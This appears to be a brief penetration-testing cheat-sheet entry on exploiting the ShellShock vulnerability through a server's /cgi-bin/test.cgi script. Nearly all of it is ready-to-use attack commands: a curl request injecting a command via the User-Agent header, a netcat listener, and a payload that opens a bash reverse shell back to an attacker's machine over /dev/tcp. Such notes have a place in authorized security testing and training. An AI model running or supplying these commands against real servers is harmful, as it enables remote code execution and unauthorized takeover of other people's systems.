This cve (ShellShock) allows us to inject commands to the /cgi-bin/test.cgi directory Example of command: curl -H "User-agent: () { :;}; echo; echo vulnerable" http://IP_HOST/cgi-bin/test.cgi More info Get a reverse shell: # On your machine start a listener nc -nlvp PORT # Then send a request for the shell curl -i -H "User-agent: () { :;}; /bin/bash -i >& /dev/tcp/IP_ATTACK/PORT 0>&1" http://IP_HOST/cgi-bin/test.cgi